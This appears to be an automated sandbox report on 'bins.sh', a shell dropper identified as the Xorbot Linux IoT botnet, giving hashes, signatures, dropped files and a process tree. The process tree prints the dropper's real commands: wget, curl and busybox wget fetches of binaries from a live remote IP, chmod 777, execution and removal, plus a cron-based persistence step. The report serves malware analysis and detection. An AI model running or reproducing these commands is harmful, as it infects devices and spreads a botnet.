Analysis

  • max time kernel
    97s
  • max time network
    145s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    01-12-2024 18:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    28b44d48978ad6ce4f2eed068e2680b4

  • SHA1

    36f517d3e46e9e683a46490065c5f2169c47ca6b

  • SHA256

    47bec10be1924a07463c14e3ec14c0d176a1647a2f8090a774b6b9d0317f5b25

  • SHA512

    dee2972f09ac8e1ff184ef0fccb7b4107d55f0324a6907f6af177226a95d48365b48950c06c946c9e6e76f9aa4b9bcbb9fcf185ed4f6844f6b7bfeb341c009a3

  • SSDEEP

    96:h7r7r7p7m7iYx4RrBNFjJUDqRT21WFi6JU1hOY97r7r7p7m7iux4VO:1XXdMfx4RrBNFVYXXdMNWO

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1553) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:713
        • /usr/bin/wget
          wget http://216.126.231.240/bins/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
          2⤵
          • Writes file to tmp directory
          PID:715
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
          2⤵
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
          ./v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
          2⤵
          • Executes dropped EXE
          PID:743
        • /bin/rm
          rm v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://216.126.231.240/bins/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
            2⤵
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
            2⤵
            • Writes file to tmp directory
            PID:750
          • /bin/chmod
            chmod 777 yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
            2⤵
            • File and Directory Permissions Modification
            PID:756
          • /tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
            ./yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
            2⤵
            • Executes dropped EXE
            PID:758
          • /bin/rm
            rm yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim
            2⤵
              PID:761
            • /usr/bin/wget
              wget http://216.126.231.240/bins/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
              2⤵
              • Writes file to tmp directory
              PID:763
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
              2⤵
              • Writes file to tmp directory
              PID:776
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
              2⤵
              • Writes file to tmp directory
              PID:800
            • /bin/chmod
              chmod 777 rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
              2⤵
              • File and Directory Permissions Modification
              PID:801
            • /tmp/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
              ./rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
              2⤵
              • Executes dropped EXE
              PID:802
            • /bin/rm
              rm rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q
              2⤵
                PID:804
              • /usr/bin/wget
                wget http://216.126.231.240/bins/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
                2⤵
                • Writes file to tmp directory
                PID:805
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
                2⤵
                • Writes file to tmp directory
                PID:806
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
                2⤵
                • Writes file to tmp directory
                PID:808
              • /bin/chmod
                chmod 777 9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
                2⤵
                • File and Directory Permissions Modification
                PID:815
              • /tmp/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
                ./9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:817
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:819
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:820
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:822
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:824
                    • /bin/rm
                      rm 9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE
                      2⤵
                        PID:834
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
                        2⤵
                          PID:839
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
                          2⤵
                            PID:840
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
                            2⤵
                            • Writes file to tmp directory
                            PID:843
                          • /bin/chmod
                            chmod 777 JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
                            2⤵
                            • File and Directory Permissions Modification
                            PID:852
                          • /tmp/JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
                            ./JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
                            2⤵
                            • Executes dropped EXE
                            PID:853
                          • /bin/rm
                            rm JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9
                            2⤵
                              PID:855
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/axjgySVCs7w9j882pqSeiJPARQjJ3wZmus
                              2⤵
                                PID:856

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/9XULlqj5o7MAxDiBvKnETlffY5LRNVxxjE

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/JaskctOv1lfWgZKvwUgNEjn2dn5BkEZBp9

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/rP8DIlOj73mYUtzZOEeGOHzUJ27UYAwQ6q

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/v3HxLlxwTFjtXd29uVAcXFocllAgzxhwAr

                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                            • /tmp/yfdXILH5qcoyJWU1KMdps8Yn1Kx3aUxrim

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /var/spool/cron/crontabs/tmp.4qRxRD

                              Filesize

                              210B

                              MD5

                              f6cc529c7b6bca9219a89b5f85e31f3d

                              SHA1

                              ca4e9ba8709ff65f80240b2c50d92631be9172db

                              SHA256

                              e46b6c3faad4f96436f292cfc6fb00b23bf938614124d291aa7e5fb06fb947c5

                              SHA512

                              c4a4238e2ab84c92d2c5646ccd17bf01c054874065d8075b737df183f3c02d4d7b521a9ee550c4c84c183ec8aac9fedb4b0c810a279f2cbfab685048f4ecd0c4